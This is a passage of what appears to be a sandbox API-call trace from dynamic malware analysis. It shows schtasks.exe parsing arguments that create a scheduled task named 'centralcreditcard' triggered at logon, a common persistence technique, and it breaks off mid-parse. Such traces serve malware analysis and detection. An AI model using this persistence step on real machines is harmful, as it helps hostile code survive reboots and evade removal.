Flags=0xc, Size=0x20) returned 0x125d00 [0081.574] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0081.574] SetLastError (dwErrCode=0x0) [0081.574] GetProcessHeap () returned 0x110000 [0081.574] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125d30 [0081.575] GetProcessHeap () returned 0x110000 [0081.575] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125d60 [0081.575] GetProcessHeap () returned 0x110000 [0081.575] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125d90 [0081.575] GetProcessHeap () returned 0x110000 [0081.575] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125dc0 [0081.575] GetProcessHeap () returned 0x110000 [0081.575] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125df0 [0081.575] GetProcessHeap () returned 0x110000 [0081.575] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12bc30 [0081.575] _memicmp (_Buf1=0x12bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.575] GetProcessHeap () returned 0x110000 [0081.575] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x208) returned 0x12bdd0 [0081.575] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12bdd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0081.575] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0081.577] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0081.579] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0081.580] GetProcessHeap () returned 0x110000 [0081.580] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x74e) returned 0x12c3a0 [0081.580] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0081.580] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x12c3a0 | out: lpData=0x12c3a0) returned 1 [0081.580] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0081.580] VerQueryValueW (in: pBlock=0x12c3a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xff5c8, puLen=0xff630 | out: lplpBuffer=0xff5c8*=0x12c73c, puLen=0xff630) returned 1 [0081.583] _memicmp (_Buf1=0x12bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.583] _vsnwprintf (in: _Buffer=0x12bdd0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xff5a8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0081.583] VerQueryValueW (in: pBlock=0x12c3a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xff638, puLen=0xff628 | out: lplpBuffer=0xff638*=0x12c568, puLen=0xff628) returned 1 [0081.583] lstrlenW (lpString="schtasks.exe") returned 12 [0081.583] lstrlenW (lpString="schtasks.exe") returned 12 [0081.583] lstrlenW (lpString=".EXE") returned 4 [0081.583] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0081.584] lstrlenW (lpString="schtasks.exe") returned 12 [0081.584] lstrlenW (lpString=".EXE") returned 4 [0081.584] _memicmp (_Buf1=0x12bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.584] lstrlenW (lpString="schtasks") returned 8 [0081.585] GetProcessHeap () returned 0x110000 [0081.585] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125ee0 [0081.585] GetProcessHeap () returned 0x110000 [0081.585] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12ccb0 [0081.585] GetProcessHeap () returned 0x110000 [0081.585] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cce0 [0081.585] GetProcessHeap () returned 0x110000 [0081.585] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cd10 [0081.585] GetProcessHeap () returned 0x110000 [0081.585] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12bc50 [0081.585] _memicmp (_Buf1=0x12bc50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.585] GetProcessHeap () returned 0x110000 [0081.585] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xa0) returned 0x12c1d0 [0081.585] GetProcessHeap () returned 0x110000 [0081.585] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cd40 [0081.585] GetProcessHeap () returned 0x110000 [0081.585] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cd70 [0081.585] GetProcessHeap () returned 0x110000 [0081.585] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cda0 [0081.585] GetProcessHeap () returned 0x110000 [0081.585] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12bc70 [0081.585] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.585] GetProcessHeap () returned 0x110000 [0081.585] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x200) returned 0x12d480 [0081.586] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0081.586] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0081.586] GetProcessHeap () returned 0x110000 [0081.586] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x30) returned 0x127c50 [0081.586] _vsnwprintf (in: _Buffer=0x12c1d0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xff5a8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0081.586] GetProcessHeap () returned 0x110000 [0081.586] GetProcessHeap () returned 0x110000 [0081.586] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c3a0) returned 1 [0081.586] GetProcessHeap () returned 0x110000 [0081.586] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c3a0) returned 0x74e [0081.587] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c3a0 | out: hHeap=0x110000) returned 1 [0081.587] SetLastError (dwErrCode=0x0) [0081.587] GetThreadLocale () returned 0x409 [0081.587] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.587] lstrlenW (lpString="?") returned 1 [0081.587] GetThreadLocale () returned 0x409 [0081.588] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.588] lstrlenW (lpString="create") returned 6 [0081.588] GetThreadLocale () returned 0x409 [0081.588] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.588] lstrlenW (lpString="delete") returned 6 [0081.588] GetThreadLocale () returned 0x409 [0081.588] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.588] lstrlenW (lpString="query") returned 5 [0081.588] GetThreadLocale () returned 0x409 [0081.588] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.588] lstrlenW (lpString="change") returned 6 [0081.588] GetThreadLocale () returned 0x409 [0081.588] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.588] lstrlenW (lpString="run") returned 3 [0081.588] GetThreadLocale () returned 0x409 [0081.588] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.588] lstrlenW (lpString="end") returned 3 [0081.588] GetThreadLocale () returned 0x409 [0081.588] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.588] lstrlenW (lpString="showsid") returned 7 [0081.588] GetThreadLocale () returned 0x409 [0081.588] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.588] SetLastError (dwErrCode=0x0) [0081.588] SetLastError (dwErrCode=0x0) [0081.588] lstrlenW (lpString="/create") returned 7 [0081.588] lstrlenW (lpString="-/") returned 2 [0081.588] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0081.588] lstrlenW (lpString="?") returned 1 [0081.588] lstrlenW (lpString="?") returned 1 [0081.589] GetProcessHeap () returned 0x110000 [0081.589] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12c280 [0081.589] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.589] GetProcessHeap () returned 0x110000 [0081.589] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xa) returned 0x12c3a0 [0081.589] lstrlenW (lpString="create") returned 6 [0081.589] GetProcessHeap () returned 0x110000 [0081.589] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12c3c0 [0081.589] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.589] GetProcessHeap () returned 0x110000 [0081.589] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x14) returned 0x12c3e0 [0081.589] _vsnwprintf (in: _Buffer=0x12c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|?|") returned 3 [0081.589] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|create|") returned 8 [0081.589] lstrlenW (lpString="|?|") returned 3 [0081.589] lstrlenW (lpString="|create|") returned 8 [0081.589] SetLastError (dwErrCode=0x490) [0081.589] lstrlenW (lpString="create") returned 6 [0081.589] lstrlenW (lpString="create") returned 6 [0081.589] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.589] GetProcessHeap () returned 0x110000 [0081.589] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c3a0) returned 1 [0081.589] GetProcessHeap () returned 0x110000 [0081.589] RtlReAllocateHeap (Heap=0x110000, Flags=0xc, Ptr=0x12c3a0, Size=0x14) returned 0x12c400 [0081.589] lstrlenW (lpString="create") returned 6 [0081.589] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.589] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|create|") returned 8 [0081.590] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|create|") returned 8 [0081.590] lstrlenW (lpString="|create|") returned 8 [0081.590] lstrlenW (lpString="|create|") returned 8 [0081.590] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0081.590] SetLastError (dwErrCode=0x0) [0081.590] SetLastError (dwErrCode=0x0) [0081.590] SetLastError (dwErrCode=0x0) [0081.590] lstrlenW (lpString="/tn") returned 3 [0081.590] lstrlenW (lpString="-/") returned 2 [0081.590] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0081.590] lstrlenW (lpString="?") returned 1 [0081.590] lstrlenW (lpString="?") returned 1 [0081.590] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.590] lstrlenW (lpString="tn") returned 2 [0081.590] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.590] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|?|") returned 3 [0081.590] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|tn|") returned 4 [0081.590] lstrlenW (lpString="|?|") returned 3 [0081.590] lstrlenW (lpString="|tn|") returned 4 [0081.590] SetLastError (dwErrCode=0x490) [0081.590] lstrlenW (lpString="create") returned 6 [0081.590] lstrlenW (lpString="create") returned 6 [0081.590] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.590] lstrlenW (lpString="tn") returned 2 [0081.590] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.591] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|create|") returned 8 [0081.591] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|tn|") returned 4 [0081.591] lstrlenW (lpString="|create|") returned 8 [0081.591] lstrlenW (lpString="|tn|") returned 4 [0081.591] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0081.591] SetLastError (dwErrCode=0x490) [0081.591] lstrlenW (lpString="delete") returned 6 [0081.591] lstrlenW (lpString="delete") returned 6 [0081.591] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.591] lstrlenW (lpString="tn") returned 2 [0081.591] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.591] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|delete|") returned 8 [0081.591] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|tn|") returned 4 [0081.591] lstrlenW (lpString="|delete|") returned 8 [0081.591] lstrlenW (lpString="|tn|") returned 4 [0081.591] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0081.591] SetLastError (dwErrCode=0x490) [0081.591] lstrlenW (lpString="query") returned 5 [0081.591] lstrlenW (lpString="query") returned 5 [0081.591] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.591] lstrlenW (lpString="tn") returned 2 [0081.591] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.591] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|query|") returned 7 [0081.591] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|tn|") returned 4 [0081.592] lstrlenW (lpString="|query|") returned 7 [0081.592] lstrlenW (lpString="|tn|") returned 4 [0081.592] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0081.592] SetLastError (dwErrCode=0x490) [0081.592] lstrlenW (lpString="change") returned 6 [0081.592] lstrlenW (lpString="change") returned 6 [0081.592] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.592] lstrlenW (lpString="tn") returned 2 [0081.592] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.592] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|change|") returned 8 [0081.592] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|tn|") returned 4 [0081.592] lstrlenW (lpString="|change|") returned 8 [0081.592] lstrlenW (lpString="|tn|") returned 4 [0081.592] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0081.592] SetLastError (dwErrCode=0x490) [0081.592] lstrlenW (lpString="run") returned 3 [0081.592] lstrlenW (lpString="run") returned 3 [0081.592] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.592] lstrlenW (lpString="tn") returned 2 [0081.592] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.592] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|run|") returned 5 [0081.592] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|tn|") returned 4 [0081.592] lstrlenW (lpString="|run|") returned 5 [0081.592] lstrlenW (lpString="|tn|") returned 4 [0081.592] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0081.592] SetLastError (dwErrCode=0x490) [0081.592] lstrlenW (lpString="end") returned 3 [0081.593] lstrlenW (lpString="end") returned 3 [0081.593] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.593] lstrlenW (lpString="tn") returned 2 [0081.593] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.593] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|end|") returned 5 [0081.593] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|tn|") returned 4 [0081.593] lstrlenW (lpString="|end|") returned 5 [0081.593] lstrlenW (lpString="|tn|") returned 4 [0081.593] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0081.593] SetLastError (dwErrCode=0x490) [0081.593] lstrlenW (lpString="showsid") returned 7 [0081.593] lstrlenW (lpString="showsid") returned 7 [0081.593] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.593] GetProcessHeap () returned 0x110000 [0081.593] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c400) returned 1 [0081.593] GetProcessHeap () returned 0x110000 [0081.593] RtlReAllocateHeap (Heap=0x110000, Flags=0xc, Ptr=0x12c400, Size=0x16) returned 0x12c400 [0081.593] lstrlenW (lpString="tn") returned 2 [0081.593] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.593] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|showsid|") returned 9 [0081.593] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|tn|") returned 4 [0081.594] lstrlenW (lpString="|showsid|") returned 9 [0081.594] lstrlenW (lpString="|tn|") returned 4 [0081.594] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0081.594] SetLastError (dwErrCode=0x490) [0081.594] SetLastError (dwErrCode=0x490) [0081.594] SetLastError (dwErrCode=0x0) [0081.594] lstrlenW (lpString="/tn") returned 3 [0081.594] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0081.594] SetLastError (dwErrCode=0x490) [0081.594] SetLastError (dwErrCode=0x0) [0081.594] lstrlenW (lpString="/tn") returned 3 [0081.594] GetProcessHeap () returned 0x110000 [0081.594] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x8) returned 0x12c3a0 [0081.594] GetProcessHeap () returned 0x110000 [0081.594] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cdd0 [0081.594] SetLastError (dwErrCode=0x0) [0081.594] SetLastError (dwErrCode=0x0) [0081.594] lstrlenW (lpString="centralcreditcard") returned 17 [0081.594] lstrlenW (lpString="-/") returned 2 [0081.594] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0081.594] SetLastError (dwErrCode=0x490) [0081.594] SetLastError (dwErrCode=0x490) [0081.594] SetLastError (dwErrCode=0x0) [0081.594] lstrlenW (lpString="centralcreditcard") returned 17 [0081.594] StrChrIW (lpStart="centralcreditcard", wMatch=0x3a) returned 0x0 [0081.594] SetLastError (dwErrCode=0x490) [0081.594] SetLastError (dwErrCode=0x0) [0081.594] lstrlenW (lpString="centralcreditcard") returned 17 [0081.594] GetProcessHeap () returned 0x110000 [0081.594] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x24) returned 0x12ce00 [0081.594] GetProcessHeap () returned 0x110000 [0081.595] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12ce30 [0081.595] SetLastError (dwErrCode=0x0) [0081.595] SetLastError (dwErrCode=0x0) [0081.595] lstrlenW (lpString="/sc") returned 3 [0081.595] lstrlenW (lpString="-/") returned 2 [0081.595] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0081.595] lstrlenW (lpString="?") returned 1 [0081.595] lstrlenW (lpString="?") returned 1 [0081.595] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.595] lstrlenW (lpString="sc") returned 2 [0081.595] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.595] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|?|") returned 3 [0081.595] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|sc|") returned 4 [0081.595] lstrlenW (lpString="|?|") returned 3 [0081.595] lstrlenW (lpString="|sc|") returned 4 [0081.595] SetLastError (dwErrCode=0x490) [0081.595] lstrlenW (lpString="create") returned 6 [0081.595] lstrlenW (lpString="create") returned 6 [0081.595] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.595] lstrlenW (lpString="sc") returned 2 [0081.595] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.595] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|create|") returned 8 [0081.595] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|sc|") returned 4 [0081.595] lstrlenW (lpString="|create|") returned 8 [0081.595] lstrlenW (lpString="|sc|") returned 4 [0081.595] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0081.596] SetLastError (dwErrCode=0x490) [0081.596] lstrlenW (lpString="delete") returned 6 [0081.596] lstrlenW (lpString="delete") returned 6 [0081.596] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.630] lstrlenW (lpString="sc") returned 2 [0081.630] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.630] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|delete|") returned 8 [0081.630] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|sc|") returned 4 [0081.630] lstrlenW (lpString="|delete|") returned 8 [0081.630] lstrlenW (lpString="|sc|") returned 4 [0081.630] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0081.630] SetLastError (dwErrCode=0x490) [0081.630] lstrlenW (lpString="query") returned 5 [0081.630] lstrlenW (lpString="query") returned 5 [0081.630] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.630] lstrlenW (lpString="sc") returned 2 [0081.630] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.631] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|query|") returned 7 [0081.631] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|sc|") returned 4 [0081.631] lstrlenW (lpString="|query|") returned 7 [0081.631] lstrlenW (lpString="|sc|") returned 4 [0081.631] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0081.631] SetLastError (dwErrCode=0x490) [0081.631] lstrlenW (lpString="change") returned 6 [0081.631] lstrlenW (lpString="change") returned 6 [0081.631] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.631] lstrlenW (lpString="sc") returned 2 [0081.631] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.631] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|change|") returned 8 [0081.631] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|sc|") returned 4 [0081.631] lstrlenW (lpString="|change|") returned 8 [0081.631] lstrlenW (lpString="|sc|") returned 4 [0081.631] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0081.631] SetLastError (dwErrCode=0x490) [0081.631] lstrlenW (lpString="run") returned 3 [0081.631] lstrlenW (lpString="run") returned 3 [0081.631] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.631] lstrlenW (lpString="sc") returned 2 [0081.631] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.631] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|run|") returned 5 [0081.631] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|sc|") returned 4 [0081.631] lstrlenW (lpString="|run|") returned 5 [0081.631] lstrlenW (lpString="|sc|") returned 4 [0081.631] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0081.632] SetLastError (dwErrCode=0x490) [0081.632] lstrlenW (lpString="end") returned 3 [0081.632] lstrlenW (lpString="end") returned 3 [0081.632] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.632] lstrlenW (lpString="sc") returned 2 [0081.632] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.632] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|end|") returned 5 [0081.632] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|sc|") returned 4 [0081.632] lstrlenW (lpString="|end|") returned 5 [0081.632] lstrlenW (lpString="|sc|") returned 4 [0081.632] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0081.632] SetLastError (dwErrCode=0x490) [0081.632] lstrlenW (lpString="showsid") returned 7 [0081.632] lstrlenW (lpString="showsid") returned 7 [0081.632] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.632] lstrlenW (lpString="sc") returned 2 [0081.632] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.632] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|showsid|") returned 9 [0081.632] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff5b8 | out: _Buffer="|sc|") returned 4 [0081.632] lstrlenW (lpString="|showsid|") returned 9 [0081.632] lstrlenW (lpString="|sc|") returned 4 [0081.632] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0081.632] SetLastError (dwErrCode=0x490) [0081.632] SetLastError (dwErrCode=0x490) [0081.632] SetLastError (dwErrCode=0x0) [0081.632] lstrlenW (lpString="/sc") returned 3 [0081.632] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0081.632] SetLastError (dwErrCode=0x490) [0081.632] SetLastError (dwErrCode=0x0) [0081.632] lstrlenW (lpString="/sc") returned 3 [0081.632] GetProcessHeap () returned 0x110000 [0081.633] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x8) returned 0x12c430 [0081.633] GetProcessHeap () returned 0x110000 [0081.633] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12ce60 [0081.633] SetLastError (dwErrCode=0x0) [0081.633] SetLastError (dwErrCode=0x0) [0081.633] lstrlenW (lpString="ONLOGON") returned 7 [0081.633] lstrlenW (lpString="-/") returned 